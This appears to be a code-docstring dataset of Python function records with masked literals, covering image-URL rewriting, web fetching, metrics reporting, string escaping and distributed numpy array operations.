{"signature": "def original_image_extender(pipeline_index,<EOL>finder_image_urls,<EOL>extender_image_urls=[],<EOL>*args, **kwargs):", "body": "now_extender_image_urls = []<EOL>check_re = re.compile(r'<STR_LIT>', re.IGNORECASE)<EOL>search_re = re.compile(r'<STR_LIT>', re.IGNORECASE)<EOL>for image_url in finder_image_urls:<EOL><INDENT>if check_re.search(image_url):<EOL><INDENT>if search_re.search(image_url):<EOL><INDENT>extender_image_url = search_re.sub('<STR_LIT:.>', image_url)<EOL>now_extender_image_urls.append(extender_image_url)<EOL><DEDENT><DEDENT><DEDENT>output = {}<EOL>output['<STR_LIT>'] = extender_image_urls + now_extender_image_urls<EOL>return output<EOL>", "docstring": "Example:\nhttp://fashion-fever.nl/wp-content/upload/2013/09/DSC_0058-110x110.jpg\nhttp://www.wendyslookbook.com/wp-content/uploads/2013/09/Morning-Coffee-Run-7-433x650.jpg\nto\nhttp://fashion-fever.nl/wp-content/upload/2013/09/DSC_0058.jpg\nhttp://www.wendyslookbook.com/wp-content/uploads/2013/09/Morning-Coffee-Run-7.jpg", "id": "f4835:m0"}
{"signature": "def media_1280_extender(pipeline_index,<EOL>finder_image_urls,<EOL>extender_image_urls=[],<EOL>*args, **kwargs):", "body": "now_extender_image_urls = []<EOL>search_re = re.compile(r'<STR_LIT>', re.IGNORECASE)<EOL>for image_url in finder_image_urls:<EOL><INDENT>if '<STR_LIT>' in image_url.lower():<EOL><INDENT>if search_re.search(image_url):<EOL><INDENT>extender_image_url = search_re.sub(r'<STR_LIT>', image_url)<EOL>now_extender_image_urls.append(extender_image_url)<EOL><DEDENT><DEDENT><DEDENT>output = {}<EOL>output['<STR_LIT>'] = extender_image_urls + now_extender_image_urls<EOL>return output<EOL>", "docstring": "Example:\nhttp://25.media.tumblr.com/3f5f10d7216f1dd5eacb5eb3e302286a/tumblr_mtpcwdzKBT1qh9n5lo1_250.png\nhttp://25.media.tumblr.com/3f5f10d7216f1dd5eacb5eb3e302286a/tumblr_mtpcwdzKBT1qh9n5lo1_500.png\nto\nhttp://25.media.tumblr.com/3f5f10d7216f1dd5eacb5eb3e302286a/tumblr_mtpcwdzKBT1qh9n5lo1_1280.png", "id": "f4836:m0"}
{"signature": "def avatar_128_extender(pipeline_index,<EOL>finder_image_urls,<EOL>extender_image_urls=[],<EOL>*args, **kwargs):", "body": "now_extender_image_urls = []<EOL>search_re = re.compile(r'<STR_LIT>', re.IGNORECASE)<EOL>for image_url in finder_image_urls:<EOL><INDENT>if '<STR_LIT>' in image_url.lower():<EOL><INDENT>if search_re.search(image_url):<EOL><INDENT>extender_image_url = search_re.sub(r'<STR_LIT>', image_url)<EOL>now_extender_image_urls.append(extender_image_url)<EOL><DEDENT><DEDENT><DEDENT>output = {}<EOL>output['<STR_LIT>'] = extender_image_urls + now_extender_image_urls<EOL>return output<EOL>", "docstring": "Example:\nhttp://25.media.tumblr.com/avatar_2909d6610c26_16.png\nto\nhttp://25.media.tumblr.com/avatar_2909d6610c26_128.png", "id": "f4836:m1"}
{"signature": "def retrieve_url(self, url):", "body": "try:<EOL><INDENT>r = requests.get(url)<EOL><DEDENT>except requests.ConnectionError:<EOL><INDENT>raise exceptions.RetrieveError('<STR_LIT>')<EOL><DEDENT>if r.status_code >= <NUM_LIT>:<EOL><INDENT>raise exceptions.RetrieveError('<STR_LIT>' % (r.status_code))<EOL><DEDENT>real_url = r.url<EOL>content = r.content<EOL>try:<EOL><INDENT>content_type = r.headers['<STR_LIT:Content-Type>']<EOL><DEDENT>except KeyError:<EOL><INDENT>content_type, encoding = mimetypes.guess_type(real_url, strict=False)<EOL><DEDENT>self.response = r<EOL>return content_type.lower(), content<EOL>", "docstring": "Use requests to fetch remote content", "id": "f4839:c0:m3"}
{"signature": "def parse_html(self, html):", "body": "soup = BeautifulSoup(html, self.parser)<EOL>title_tag = soup.find('<STR_LIT:title>')<EOL>self.result.title = title_tag.string if title_tag else None<EOL>self.soup = soup<EOL>return soup<EOL>", "docstring": "Use BeautifulSoup to parse HTML / XML\nhttp://www.crummy.com/software/BeautifulSoup/bs4/doc/#specifying-the-parser-to-use", "id": "f4839:c0:m4"}
{"signature": "@property<EOL><INDENT>def image_urls(self):<DEDENT>", "body": "all_image_urls = self.finder_image_urls[:]<EOL>for image_url in self.extender_image_urls:<EOL><INDENT>if image_url not in all_image_urls:<EOL><INDENT>all_image_urls.append(image_url)<EOL><DEDENT><DEDENT>return all_image_urls<EOL>", "docstring": "Combine finder_image_urls and extender_image_urls,\nremove duplicate but keep order", "id": "f4839:c1:m3"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def stream(self, report):<DEDENT>", "body": "", "docstring": "Stream trace reports", "id": "f4845:c0:m0"}
{"signature": "def stream(self, report):", "body": "print(json.dumps(report))<EOL>", "docstring": "print trace reports to stdout", "id": "f4845:c1:m0"}
{"signature": "def stream(self, report):", "body": "self.logger.info(json.dumps(report))<EOL>", "docstring": "Stream reports to application logs", "id": "f4845:c2:m1"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def stream(self, report):<DEDENT>", "body": "with self.ClientSession() as session:<EOL><INDENT>lines = []<EOL>for job in report['<STR_LIT>']:<EOL><INDENT>key = '<STR_LIT>' % (self.name, job)<EOL>for minute in report['<STR_LIT>'][job]:<EOL><INDENT>for k, v in report['<STR_LIT>'][job][minute].items():<EOL><INDENT>lines.append('<STR_LIT>' % (key, k))<EOL>lines.append('<STR_LIT>' % (key, k, v))<EOL><DEDENT><DEDENT><DEDENT>lines.append(\"<STR_LIT>\")<EOL>data = \"<STR_LIT:\\n>\".join(lines)<EOL>logger.info(data)<EOL>yield from session.post(self.url, data=bytes(data.encode('<STR_LIT:utf-8>')))<EOL><DEDENT>", "docstring": "Stream reports to application logs", "id": "f4845:c3:m1"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def stream(self, report):<DEDENT>", "body": "payload = {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:host>\": report['<STR_LIT>']['<STR_LIT>'],<EOL>\"<STR_LIT:version>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": [<EOL>{<EOL>\"<STR_LIT:name>\": self.name,<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": <NUM_LIT>,<EOL>\"<STR_LIT>\": {<EOL>'<STR_LIT>'.format(key): {<EOL>\"<STR_LIT>\": metric['<STR_LIT:count>'] * metric['<STR_LIT>'],<EOL>\"<STR_LIT:count>\": metric['<STR_LIT:count>'],<EOL>\"<STR_LIT>\": metric['<STR_LIT>'],<EOL>\"<STR_LIT>\": metric['<STR_LIT>'],<EOL>\"<STR_LIT>\": metric['<STR_LIT>']**<NUM_LIT:2> + metric['<STR_LIT>']**<NUM_LIT:2>,<EOL>} for key, metric in report['<STR_LIT>'].items()<EOL>}<EOL>}<EOL>]<EOL>}<EOL>with self.ClientSession() as session:<EOL><INDENT>try:<EOL><INDENT>r = yield from session.post(<EOL>'<STR_LIT>',<EOL>data=json.dumps(payload),<EOL>headers=(<EOL>('<STR_LIT>', self.license_key),<EOL>('<STR_LIT:Content-Type>', '<STR_LIT:application/json>'),<EOL>('<STR_LIT>', '<STR_LIT:application/json>'),<EOL>)<EOL>)<EOL>r.close()<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.exception(e)<EOL><DEDENT><DEDENT>", "docstring": "Stream reports to application logs", "id": "f4845:c4:m1"}
{"signature": "@classmethod<EOL><INDENT>def stats(cls, traces):<DEDENT>", "body": "data = {}<EOL>stats = {}<EOL>for trace in traces:<EOL><INDENT>key = trace['<STR_LIT:key>']<EOL>if key not in data:<EOL><INDENT>data[key] = []<EOL>stats[key] = {}<EOL><DEDENT>data[key].append(trace['<STR_LIT>'])<EOL>cls._traces.pop(trace['<STR_LIT:id>'])<EOL><DEDENT>for key in data:<EOL><INDENT>times = data[key]<EOL>stats[key] = dict(<EOL>count=len(times),<EOL>max=max(times),<EOL>min=min(times),<EOL>avg=sum(times)/len(times)<EOL>)<EOL><DEDENT>return stats<EOL>", "docstring": "Build per minute stats for each key", "id": "f4845:c5:m9"}
{"signature": "def _escape_char(c, escape_char=ESCAPE_CHAR):", "body": "buf = []<EOL>for byte in c.encode('<STR_LIT:utf8>'):<EOL><INDENT>buf.append(escape_char)<EOL>buf.append('<STR_LIT>' % _ord(byte))<EOL><DEDENT>return '<STR_LIT>'.join(buf)<EOL>", "docstring": "Escape a single character", "id": "f4847:m0"}
{"signature": "def escape(to_escape, safe=SAFE, escape_char=ESCAPE_CHAR, allow_collisions=False):", "body": "if isinstance(to_escape, bytes):<EOL><INDENT>to_escape = to_escape.decode('<STR_LIT:utf8>')<EOL><DEDENT>if not isinstance(safe, set):<EOL><INDENT>safe = set(safe)<EOL><DEDENT>if allow_collisions:<EOL><INDENT>safe.add(escape_char)<EOL><DEDENT>elif escape_char in safe:<EOL><INDENT>safe.remove(escape_char)<EOL><DEDENT>chars = []<EOL>for c in to_escape:<EOL><INDENT>if c in safe:<EOL><INDENT>chars.append(c)<EOL><DEDENT>else:<EOL><INDENT>chars.append(_escape_char(c, escape_char))<EOL><DEDENT><DEDENT>return u'<STR_LIT>'.join(chars)<EOL>", "docstring": "Escape a string so that it only contains characters in a safe set.\n\n    Characters outside the safe list will be escaped with _%x_,\n    where %x is the hex value of the character.\n\n    If `allow_collisions` is True, occurrences of `escape_char`\n    in the input will not be escaped.\n\n    In this case, `unescape` cannot be used to reverse the transform\n    because occurrences of the escape char in the resulting string are ambiguous.\n    Only use this mode when:\n\n    1. collisions cannot occur or do not matter, and\n    2. unescape will never be called.\n\n    .. versionadded: 1.0\n        allow_collisions argument.\n        Prior to 1.0, behavior was the same as allow_collisions=False (default).", "id": "f4847:m1"}
{"signature": "def _unescape_char(m):", "body": "return _bchr(int(m.group(<NUM_LIT:1>), <NUM_LIT:16>))<EOL>", "docstring": "Unescape a single byte\n\n    Used as a callback in pattern.subn. `m.group(1)` must be a single byte in hex,\n    e.g. `a4` or `ff`.", "id": "f4847:m2"}
{"signature": "def unescape(escaped, escape_char=ESCAPE_CHAR):", "body": "if isinstance(escaped, bytes):<EOL><INDENT>escaped = escaped.decode('<STR_LIT:utf8>')<EOL><DEDENT>escape_pat = re.compile(re.escape(escape_char).encode('<STR_LIT:utf8>') + b'<STR_LIT>', re.IGNORECASE)<EOL>buf = escape_pat.subn(_unescape_char, escaped.encode('<STR_LIT:utf8>'))[<NUM_LIT:0>]<EOL>return buf.decode('<STR_LIT:utf8>')<EOL>", "docstring": "Unescape a string escaped with `escape`\n\n    escape_char must be the same as that used in the call to escape.", "id": "f4847:m3"}
{"signature": "def get(self, key, default=None):", "body": "try:<EOL><INDENT>return self[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "Get an item - return default (None) if not present", "id": "f4851:c1:m6"}
{"signature": "def get(self, key, default=None):", "body": "try:<EOL><INDENT>return self[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "Get an item - return default (None) if not present", "id": "f4851:c2:m6"}
{"signature": "def get(self, key, default=None):", "body": "try:<EOL><INDENT>return self[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "Get an item - return default (None) if not present", "id": "f4851:c3:m5"}
{"signature": "def _engine_affinity(obj):", "body": "from distob import engine<EOL>this_engine = engine.eid<EOL>if isinstance(obj, numbers.Number) or obj is None:<EOL><INDENT>return (this_engine, <NUM_LIT:0>)<EOL><DEDENT>elif hasattr(obj, '<STR_LIT>'):<EOL><INDENT>return obj.__engine_affinity__<EOL><DEDENT>else:<EOL><INDENT>return (this_engine, _rough_size(obj))<EOL><DEDENT>", "docstring": "Which engine or engines are preferred for processing this object\n    Returns: (location, weight)\n      location (integer or tuple): engine id (or in the case of a distributed\n      array a tuple (engine_id_list, distaxis)).\n      weight(integer): Proportional to the cost of moving the object to a\n        different engine. Currently just taken to be the size of data.", "id": "f4853:m3"}
{"signature": "def _ufunc_move_input(obj, location, bshape):", "body": "if (not hasattr(type(obj), '<STR_LIT>') and<EOL>not isinstance(obj, Remote) and<EOL>(isinstance(obj, string_types) or<EOL>not isinstance(obj, Sequence))):<EOL><INDENT>return obj<EOL><DEDENT>from distob import engine<EOL>this_engine = engine.eid<EOL>if location == this_engine:<EOL><INDENT>if isinstance(obj, Remote) or isinstance(obj, DistArray):<EOL><INDENT>return gather(obj)<EOL><DEDENT>else:<EOL><INDENT>return obj<EOL><DEDENT><DEDENT>elif isinstance(location, numbers.Integral):<EOL><INDENT>if isinstance(obj, Remote) and obj._ref.id.engine == location:<EOL><INDENT>return obj<EOL><DEDENT>obj = gather(obj)<EOL>return _directed_scatter(obj, axis=None, destination=location)<EOL><DEDENT>else:<EOL><INDENT>engine_ids, distaxis = location<EOL>if not isinstance(obj, DistArray):<EOL><INDENT>gather(obj)<EOL>if isinstance(obj, Sequence):<EOL><INDENT>obj = np.array(obj)<EOL><DEDENT><DEDENT>if obj.ndim < len(bshape):<EOL><INDENT>ix = (np.newaxis,)*(len(bshape)-obj.ndim) + (slice(None),)*obj.ndim<EOL>obj = obj[ix]<EOL><DEDENT>if (isinstance(obj, DistArray) and distaxis == obj._distaxis and<EOL>engine_ids == [ra._ref.id.engine for ra in obj._subarrays]):<EOL><INDENT>return obj<EOL><DEDENT>obj = gather(obj)<EOL>if obj.shape[distaxis] == <NUM_LIT:1>:<EOL><INDENT>subarrays = [_directed_scatter(obj, None, m) for m in engine_ids]<EOL>return DistArray(subarrays, distaxis)<EOL><DEDENT>else:<EOL><INDENT>return _directed_scatter(obj, distaxis, destination=engine_ids)<EOL><DEDENT><DEDENT>", "docstring": "Copy ufunc input `obj` to new engine location(s) unless obj is scalar.\n\n    If the input is requested to be distributed to multiple engines, this\n    function will also take care of broadcasting along the distributed axis.\n\n    If the input obj is a scalar, it will be passed through unchanged.\n\n    Args:\n      obj (array_like or scalar): one of the inputs to a ufunc\n      location (integer or tuple): If an integer, this specifies a single\n        engine id to which an array input should be moved. If it is a tuple,\n        location[0] is a list of engine ids for distributing the array input\n        and location[1] an integer indicating which axis should be distributed.\n      bshape (tuple): The shape to which the input will ultimately be broadcast\n\n    Returns:\n      array_like or RemoteArray or DistArray or scalar", "id": "f4853:m4"}
{"signature": "def _ufunc_dispatch(ufunc, method, i, inputs, **kwargs):", "body": "<EOL>if '<STR_LIT>' in kwargs and kwargs['<STR_LIT>'] is not None:<EOL><INDENT>raise Error('<STR_LIT>')<EOL><DEDENT>nin = <NUM_LIT:2> if ufunc is np.dot else ufunc.nin<EOL>if nin is <NUM_LIT:1> and method == '<STR_LIT>':<EOL><INDENT>return vectorize(ufunc.__call__)(inputs[<NUM_LIT:0>], **kwargs)<EOL><DEDENT>elif nin is <NUM_LIT:2> and method == '<STR_LIT>':<EOL><INDENT>from distob import engine<EOL>here = engine.eid<EOL>locs, weights = zip(*[_engine_affinity(a) for a in inputs])<EOL>bshape = _broadcast_shape(*inputs)<EOL>locs = list(locs)<EOL>for i, loc in enumerate(locs):<EOL><INDENT>if isinstance(loc, _TupleType):<EOL><INDENT>num_new_axes = len(bshape) - inputs[i].ndim<EOL>if num_new_axes > <NUM_LIT:0>:<EOL><INDENT>locs[i] = (locs[i][<NUM_LIT:0>], locs[i][<NUM_LIT:1>] + num_new_axes)<EOL><DEDENT><DEDENT><DEDENT>if ufunc is np.dot:<EOL><INDENT>locs = [here if isinstance(m, _TupleType) else m for m in locs]<EOL><DEDENT>if locs[<NUM_LIT:0>] == locs[<NUM_LIT:1>]:<EOL><INDENT>location = locs[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>smallest = <NUM_LIT:0> if weights[<NUM_LIT:0>] <= weights[<NUM_LIT:1>] else <NUM_LIT:1><EOL>largest = <NUM_LIT:1> - smallest<EOL>if locs[<NUM_LIT:0>] is here or locs[<NUM_LIT:1>] is here:<EOL><INDENT>location = here if weights[<NUM_LIT:0>] == weights[<NUM_LIT:1>] else locs[largest]<EOL><DEDENT>else:<EOL><INDENT>if weights[smallest]*<NUM_LIT:2> < weights[largest] + weights[smallest]:<EOL><INDENT>location = locs[largest]<EOL><DEDENT>else:<EOL><INDENT>location = here<EOL><DEDENT><DEDENT><DEDENT>inputs = [_ufunc_move_input(a, location, bshape) for a in inputs]<EOL>if location is here:<EOL><INDENT>return ufunc.__call__(inputs[<NUM_LIT:0>], inputs[<NUM_LIT:1>], **kwargs)<EOL><DEDENT>else:<EOL><INDENT>if isinstance(location, numbers.Integral):<EOL><INDENT>return call(ufunc.__call__, inputs[<NUM_LIT:0>], inputs[<NUM_LIT:1>], **kwargs)<EOL><DEDENT>else:<EOL><INDENT>engine_ids, distaxis = location<EOL>n = len(engine_ids)<EOL>is_dist = tuple(isinstance(a, DistArray) for a in inputs)<EOL>assert(is_dist[<NUM_LIT:0>] or is_dist[<NUM_LIT:1>])<EOL>for i in <NUM_LIT:0>, <NUM_LIT:1>:<EOL><INDENT>if is_dist[i]:<EOL><INDENT>ndim = inputs[i].ndim<EOL>assert(inputs[i]._distaxis == distaxis)<EOL>assert(inputs[i]._n == n)<EOL><DEDENT><DEDENT>def _remote_ucall(inputs, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return ufunc.__call__(inputs[<NUM_LIT:0>], inputs[<NUM_LIT:1>], **kwargs)<EOL><DEDENT>results = []<EOL>kwargs = kwargs.copy()<EOL>kwargs['<STR_LIT>'] = False<EOL>kwargs['<STR_LIT>'] = False<EOL>for j in range(n):<EOL><INDENT>subinputs = tuple(inputs[i]._subarrays[j] if <EOL>is_dist[i] else inputs[i] for i in (<NUM_LIT:0>, <NUM_LIT:1>))<EOL>results.append(call(_remote_ucall, subinputs, **kwargs))<EOL><DEDENT>results = [convert_result(ar) for ar in results]<EOL>return DistArray(results, distaxis)<EOL><DEDENT><DEDENT><DEDENT>elif ufunc.nin > <NUM_LIT:2>:<EOL><INDENT>raise Error(u'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise Error(u'<STR_LIT>' % method)<EOL><DEDENT>", "docstring": "Route ufunc execution intelligently to local host or remote engine(s)\n    depending on where the inputs are, to minimize the need to move data.\n    Args:\n      see numpy documentation for __numpy_ufunc__", "id": "f4853:m5"}
{"signature": "def transpose(a, axes=None):", "body": "if isinstance(a, np.ndarray):<EOL><INDENT>return np.transpose(a, axes)<EOL><DEDENT>elif isinstance(a, RemoteArray):<EOL><INDENT>return a.transpose(*axes)<EOL><DEDENT>elif isinstance(a, Remote):<EOL><INDENT>return _remote_to_array(a).transpose(*axes)<EOL><DEDENT>elif isinstance(a, DistArray):<EOL><INDENT>if axes is None:<EOL><INDENT>axes = range(a.ndim - <NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>)<EOL><DEDENT>axes = list(axes)<EOL>if len(set(axes)) < len(axes):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if sorted(axes) != list(range(a.ndim)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>distaxis = a._distaxis<EOL>new_distaxis = axes.index(distaxis)<EOL>new_subarrays = [ra.transpose(*axes) for ra in a._subarrays]<EOL>return DistArray(new_subarrays, new_distaxis)<EOL><DEDENT>else:<EOL><INDENT>return np.transpose(a, axes)<EOL><DEDENT>", "docstring": "Returns a view of the array with axes transposed.\n\n    For a 1-D array, this has no effect.\n    For a 2-D array, this is the usual matrix transpose.\n    For an n-D array, if axes are given, their order indicates how the\n    axes are permuted\n\n    Args:\n      a (array_like): Input array.\n      axes (list of int, optional): By default, reverse the dimensions,\n        otherwise permute the axes according to the values given.", "id": "f4853:m6"}
{"signature": "def rollaxis(a, axis, start=<NUM_LIT:0>):", "body": "if isinstance(a, np.ndarray):<EOL><INDENT>return np.rollaxis(a, axis, start)<EOL><DEDENT>if axis not in range(a.ndim):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % (axis, a.ndim))<EOL><DEDENT>if start not in range(a.ndim + <NUM_LIT:1>):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % (axis, a.ndim+<NUM_LIT:1>))<EOL><DEDENT>axes = list(range(a.ndim))<EOL>axes.remove(axis)<EOL>axes.insert(start, axis)<EOL>return transpose(a, axes)<EOL>", "docstring": "Roll the specified axis backwards, until it lies in a given position.\n\n    Args:\n      a (array_like): Input array.\n      axis (int): The axis to roll backwards.  The positions of the other axes \n        do not change relative to one another.\n      start (int, optional): The axis is rolled until it lies before this \n        position.  The default, 0, results in a \"complete\" roll.\n\n    Returns:\n      res (ndarray)", "id": "f4853:m7"}
{"signature": "def expand_dims(a, axis):", "body": "if hasattr(a, '<STR_LIT>') and hasattr(type(a), '<STR_LIT>'):<EOL><INDENT>return a.expand_dims(axis)<EOL><DEDENT>else:<EOL><INDENT>return np.expand_dims(a, axis)<EOL><DEDENT>", "docstring": "Insert a new axis, corresponding to a given position in the array shape\n\n    Args:\n      a (array_like): Input array.\n      axis (int): Position (amongst axes) where new axis is to be inserted.", "id": "f4853:m8"}
{"signature": "def concatenate(tup, axis=<NUM_LIT:0>):", "body": "from distob import engine<EOL>if len(tup) is <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>first = tup[<NUM_LIT:0>]<EOL>others = tup[<NUM_LIT:1>:]<EOL>if (hasattr(first, '<STR_LIT>') and <EOL>hasattr(type(first), '<STR_LIT>')):<EOL><INDENT>return first.concatenate(others, axis)<EOL><DEDENT>arrays = []<EOL>for ar in tup:<EOL><INDENT>if isinstance(ar, DistArray):<EOL><INDENT>if axis == ar._distaxis:<EOL><INDENT>arrays.extend(ar._subarrays)<EOL><DEDENT>else:<EOL><INDENT>arrays.append(gather(ar))<EOL><DEDENT><DEDENT>elif isinstance(ar, RemoteArray):<EOL><INDENT>arrays.append(ar)<EOL><DEDENT>elif isinstance(ar, Remote):<EOL><INDENT>arrays.append(_remote_to_array(ar))<EOL><DEDENT>elif hasattr(type(ar), '<STR_LIT>'):<EOL><INDENT>arrays.append(ar)<EOL><DEDENT>else:<EOL><INDENT>arrays.append(np.array(ar))<EOL><DEDENT><DEDENT>if all(isinstance(ar, np.ndarray) for ar in arrays):<EOL><INDENT>return np.concatenate(arrays, axis)<EOL><DEDENT>total_length = <NUM_LIT:0><EOL>commonshape = list(arrays[<NUM_LIT:0>].shape)<EOL>commonshape[axis] = None <EOL>for ar in arrays:<EOL><INDENT>total_length += ar.shape[axis]<EOL>shp = list(ar.shape)<EOL>shp[axis] = None<EOL>if shp != commonshape:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>blocksize = ((total_length - <NUM_LIT:1>) // engine.nengines) + <NUM_LIT:1><EOL>rarrays = []<EOL>for ar in arrays:<EOL><INDENT>if isinstance(ar, DistArray):<EOL><INDENT>rarrays.extend(ar._subarrays)<EOL><DEDENT>elif isinstance(ar, RemoteArray):<EOL><INDENT>rarrays.append(ar)<EOL><DEDENT>else:<EOL><INDENT>da = _scatter_ndarray(ar, axis, blocksize)<EOL>for ra in da._subarrays:<EOL><INDENT>rarrays.append(ra)<EOL><DEDENT>del da<EOL><DEDENT><DEDENT>del arrays<EOL>eid = rarrays[<NUM_LIT:0>]._id.engine<EOL>if all(ra._id.engine == eid for ra in rarrays):<EOL><INDENT>if eid == engine.eid:<EOL><INDENT>return concatenate([gather(r) for r in rarrays], axis)<EOL><DEDENT>else:<EOL><INDENT>return call(concatenate, rarrays, axis)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return DistArray(rarrays, axis)<EOL><DEDENT>", "docstring": "Join a sequence of arrays together. \n    Will aim to join `ndarray`, `RemoteArray`, and `DistArray` without moving \n    their data, if they happen to be on different engines.\n\n    Args:\n      tup (sequence of array_like): Arrays to be concatenated. They must have\n        the same shape, except in the dimension corresponding to `axis`.\n      axis (int, optional): The axis along which the arrays will be joined.\n\n    Returns: \n      res: `ndarray`, if inputs were all local\n           `RemoteArray`, if inputs were all on the same remote engine\n           `DistArray`, if inputs were already scattered on different engines", "id": "f4853:m10"}
{"signature": "def vstack(tup):", "body": "<EOL>arrays = list(tup)<EOL>for i in range(len(arrays)):<EOL><INDENT>if arrays[i].ndim is <NUM_LIT:1>:<EOL><INDENT>arrays[i] = arrays[i][np.newaxis, :]<EOL><DEDENT><DEDENT>return concatenate(tup, axis=<NUM_LIT:0>)<EOL>", "docstring": "Stack arrays in sequence vertically (row wise), \n    handling ``RemoteArray`` and ``DistArray`` without moving data.\n\n    Args:\n      tup (sequence of array_like)\n\n    Returns: \n      res: `ndarray`, if inputs were all local\n           `RemoteArray`, if inputs were all on the same remote engine\n           `DistArray`, if inputs were already scattered on different engines", "id": "f4853:m11"}
{"signature": "def hstack(tup):", "body": "<EOL>if all(ar.ndim is <NUM_LIT:1> for ar in tup):<EOL><INDENT>return concatenate(tup, axis=<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>return concatenate(tup, axis=<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Stack arrays in sequence horizontally (column wise), \n    handling ``RemoteArray`` and ``DistArray`` without moving data.\n\n    Args:\n      tup (sequence of array_like)\n\n    Returns: \n      res: `ndarray`, if inputs were all local\n           `RemoteArray`, if inputs were all on the same remote engine\n           `DistArray`, if inputs were already scattered on different engines", "id": "f4853:m12"}
{"signature": "def dstack(tup):", "body": "<EOL>arrays = list(tup)<EOL>for i in range(len(arrays)):<EOL><INDENT>if arrays[i].ndim is <NUM_LIT:1>:<EOL><INDENT>arrays[i] = arrays[i][np.newaxis, :]<EOL><DEDENT>if arrays[i].ndim is <NUM_LIT:2>:<EOL><INDENT>arrays[i] = arrays[i][:, :, np.newaxis]<EOL><DEDENT><DEDENT>return concatenate(arrays, axis=<NUM_LIT:2>)<EOL>", "docstring": "Stack arrays in sequence depth wise (along third dimension), \n    handling ``RemoteArray`` and ``DistArray`` without moving data.\n\n    Args:\n      tup (sequence of array_like)\n\n    Returns: \n      res: `ndarray`, if inputs were all local\n           `RemoteArray`, if inputs were all on the same remote engine\n           `DistArray`, if inputs were already scattered on different engines", "id": "f4853:m13"}
{"signature": "def _broadcast_shape(*args):", "body": "<EOL>shapes = [a.shape if hasattr(type(a), '<STR_LIT>')<EOL>else () for a in args]<EOL>ndim = max(len(sh) for sh in shapes) <EOL>for i, sh in enumerate(shapes):<EOL><INDENT>if len(sh) < ndim:<EOL><INDENT>shapes[i] = (<NUM_LIT:1>,)*(ndim - len(sh)) + sh<EOL><DEDENT><DEDENT>return tuple(max(sh[ax] for sh in shapes) for ax in range(ndim))<EOL>", "docstring": "Return the shape that would result from broadcasting the inputs", "id": "f4853:m18"}
{"signature": "def mean(a, axis=None, dtype=None, out=None, keepdims=False):", "body": "if (isinstance(a, np.ndarray) or<EOL>isinstance(a, RemoteArray) or<EOL>isinstance(a, DistArray)):<EOL><INDENT>return a.mean(axis=axis, dtype=dtype, out=out, keepdims=keepdims)<EOL><DEDENT>else:<EOL><INDENT>return np.mean(a, axis=axis, dtype=dtype, out=out, keepdims=keepdims)<EOL><DEDENT>", "docstring": "Compute the arithmetic mean along the specified axis.\n\nReturns the average of the array elements.  The average is taken over\nthe flattened array by default, otherwise over the specified axis.\n`float64` intermediate and return values are used for integer inputs.\n\nParameters\n----------\na : array_like\n    Array containing numbers whose mean is desired. If `a` is not an\n    array, a conversion is attempted.\naxis : None or int or tuple of ints, optional\n    Axis or axes along which the means are computed. The default is to\n    compute the mean of the flattened array.\n    If this is a tuple of ints, a mean is performed over multiple axes,\n    instead of a single axis or all the axes as before.\ndtype : data-type, optional\n    Type to use in computing the mean.  For integer inputs, the default\n    is `float64`; for floating point inputs, it is the same as the\n    input dtype.\nout : ndarray, optional\n    Alternate output array in which to place the result.  The default\n    is ``None``; if provided, it must have the same shape as the\n    expected output, but the type will be cast if necessary.\n    See `doc.ufuncs` for details.\nkeepdims : bool, optional\n    If this is set to True, the axes which are reduced are left\n    in the result as dimensions with size one. With this option,\n    the result will broadcast correctly against the original `arr`.\n\nReturns\n-------\nm : ndarray, see dtype parameter above\n\nNotes\n-----\nnp.mean fails to pass the keepdims parameter to ndarray subclasses.\nThat is the main reason we implement this function.", "id": "f4853:m20"}
{"signature": "def __init__(self, obj):", "body": "super(RemoteArray, self).__init__(obj)<EOL>descr, shape, strides, typestr = self._ref.metadata<EOL>self._array_intf = {'<STR_LIT>': descr, '<STR_LIT>': shape, '<STR_LIT>': strides,<EOL>'<STR_LIT>': typestr, '<STR_LIT:version>': <NUM_LIT:3>}<EOL>self.dtype = np.dtype(typestr)<EOL>self.__engine_affinity__ = (self._id.engine, self.nbytes)<EOL>", "docstring": "Make a RemoteArray to access an existing numpy.ndarray.\n\n        Args:\n          obj (Ref or object): either a Ref reference to the (possibly remote) \n            object to be controlled, or else an actual (local) object to be \n            controlled.", "id": "f4853:c0:m0"}
{"signature": "def __array_prepare__(self, out_arr, context=None):", "body": "<EOL>msg = (u'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' % context[<NUM_LIT:0>].__name__)<EOL>_brief_warning(msg, stacklevel=<NUM_LIT:3>)<EOL>return out_arr<EOL>", "docstring": "Fetch underlying data to user's computer and apply ufunc locally.\n        Only used as a fallback, for current numpy versions which lack \n        support for the future __numpy_ufunc__ mechanism.", "id": "f4853:c0:m7"}
